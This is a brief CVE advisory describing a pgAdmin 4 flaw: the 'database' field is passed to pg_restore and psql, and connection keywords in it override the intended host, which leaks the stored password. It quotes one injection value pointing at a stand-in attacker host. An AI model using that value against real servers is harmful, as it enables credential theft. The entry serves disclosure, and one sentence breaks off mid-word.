CVE-2026-86862

/// Technical description

pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user.

The behaviour is re

/// Remediation

Check the references section for vendor advisories and patches from pgadmin. Update pgadmin_4 to the latest patched version. If immediate patching is not possible, review the CVSS vector to understand the attack surface and apply compensating controls such as network segmentation or access restrictions.

/// Affected products

/// References